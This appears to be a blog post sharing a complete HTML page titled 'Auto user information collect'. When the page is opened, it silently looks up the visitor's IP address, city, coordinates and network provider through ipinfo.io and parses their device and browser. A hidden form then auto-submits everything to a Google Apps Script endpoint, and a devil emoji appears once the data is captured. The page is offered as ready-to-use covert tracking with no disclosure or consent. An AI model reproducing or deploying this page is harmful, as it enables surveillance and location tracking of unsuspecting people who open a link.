ONE ssss: CODE ( Auto user information collect )

CODE ( Auto user information collect )

<!doctype html>

<head>
<style>

html, body {
    height: 100%;
}

html {
    display: table;
    margin: auto;
}

body {
    display: table-cell;
    vertical-align: middle;
}

</style>
</head>
    
    <body>
    <h1 id="wait" style="display:none; ">🙂</h1>
<h1 id="done" style="display:none; ">😈</h1>
    </body>
   
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css" />

<form method="post" autocomplete="off" name="google-sheet" style="display:none;">
<input name="date" id="datex"  /></br>
<input name="time" id="timex"  /></br>
<input name="ip" id="ip" /></br>
<input name="country" id="country" /></br>
<input name="region" id="region"  /></br>
<input name="city" id="city"  /></br>
<input name="location" id="location"  /></br>
<input name="network" id="network"  /></br>
<input id="device" name="device"  /></br>
<input id="browser" name="browser"  /></br>
<input id="system" name="system"  /></br>
<input type="submit" name="submit" id="autosubmit" value="waiting for data"  />
<input type="button" id="linkid" onclick="myStop()"  />

</form>

<script>
            const scriptURL = 'https://script.google.com/macros/s/AKfycbxew_VxyMKUXc5Zr_7OsitrOWgZuTVFfDEQ4t2kcm6u5ZCBJAiu6qkiIiFf6ReykTMc2A/exec'
            const form = document.forms['google-sheet']
          
            form.addEventListener('submit', e => {
              e.preventDefault()
              fetch(scriptURL, { method: 'POST', body: new FormData(form)})
            
            })
          </script>

<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

<script>

const loopx = setInterval(loopy, 1);

function loopy() {

var valuecheck = document.getElementById("ip").value;
        if (valuecheck == "") {
            document.getElementById("autosubmit").value = "Waiting...";
            document.getElementById("wait").style="display:block;"
            document.getElementById("done").style="display:none;"
        }
        else{
document.getElementById("autosubmit").value ="Data Recorded";
document.getElementById("autosubmit").click();
document.getElementById("linkid").click();
document.getElementById("wait").style="display:none;"
document.getElementById("done").style="display:block;"

}
    }
    
    function myStop() {
  clearInterval(loopx);
}

</script>

<script src=
"https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js">
	</script>
	
	<script>
	
	$.get("https://ipinfo.io", function(response) {
			
            document.getElementById("ip").value=(response.ip);
            document.getElementById("country").value=(response.country);
            document.getElementById("region").value=(response.region);
            document.getElementById("city").value=(response.city);
            document.getElementById("location").value=(response.loc);
            document.getElementById("network").value=(response.org);

document.getElementById("datex").value=new Date().toDateString();;
            document.getElementById("timex").value=new Date().toLocaleTimeString();;

}, "json")

</script>
    
    
<script>

(function () {
    'use strict';
    
    var module = {
        options: [],
        header: [navigator.platform, navigator.userAgent, navigator.appVersion, navigator.vendor, window.opera],
        dataos: [
            { name: 'Windows Phone', value: 'Windows Phone', version: 'OS' },
            { name: 'Windows', value: 'Win', version: 'NT' },
            { name: 'iPhone', value: 'iPhone', version: 'OS' },
            { name: 'iPad', value: 'iPad', version: 'OS' },
            { name: 'Kindle', value: 'Silk', version: 'Silk' },
            { name: 'Android', value: 'Android', version: 'Android' },
            { name: 'PlayBook', value: 'PlayBook', version: 'OS' },
            { name: 'BlackBerry', value: 'BlackBerry', version: '/' },
            { name: 'Macintosh', value: 'Mac', version: 'OS X' },
            { name: 'Linux', value: 'Linux', version: 'rv' },
            { name: 'Palm', value: 'Palm', version: 'PalmOS' }
        ],
        databrowser: [
            { name: 'Chrome', value: 'Chrome', version: 'Chrome' },
            { name: 'Firefox', value: 'Firefox', version: 'Firefox' },
            { name: 'Safari', value: 'Safari', version: 'Version' },
            { name: 'Internet Explorer', value: 'MSIE', version: 'MSIE' },
            { name: 'Opera', value: 'Opera', version: 'Opera' },
            { name: 'BlackBerry', value: 'CLDC', version: 'CLDC' },
            { name: 'Mozilla', value: 'Mozilla', version: 'Mozilla' }
        ],
        init: function () {
            var agent = this.header.join(' '),
                os = this.matchItem(agent, this.dataos),
                browser = this.matchItem(agent, this.databrowser);
            
            return { os: os, browser: browser };
        },
        matchItem: function (string, data) {
            var i = 0,
                j = 0,
                html = '',
                regex,
                regexv,
                match,
                matches,
                version;
            
            for (i = 0; i < data.length; i += 1) {
                regex = new RegExp(data[i].value, 'i');
                match = regex.test(string);
                if (match) {
                    regexv = new RegExp(data[i].version + '[- /:;]([\\d._]+)', 'i');
                    matches = string.match(regexv);
                    version = '';
                    if (matches) { if (matches[1]) { matches = matches[1]; } }
                    if (matches) {
                        matches = matches.split(/[._]+/);
                        for (j = 0; j < matches.length; j += 1) {
                            if (j === 0) {
                                version += matches[j] + '.';
                            } else {
                                version += matches[j];
                            }
                        }
                    } else {
                        version = '0';
                    }
                    return {
                        name: data[i].name,
                        version: parseFloat(version)
                    };
                }
            }
            return { name: 'unknown', version: 0 };
        }
    };
    
    var e = module.init(),
        debug = '';

document.getElementById('device').value= e.os.name + " " +e.os.version;
     document.getElementById('browser').value=  e.browser.name + " "+e.browser.version;
      document.getElementById('system').value= navigator.userAgent;
}());

</script>

</!doctype>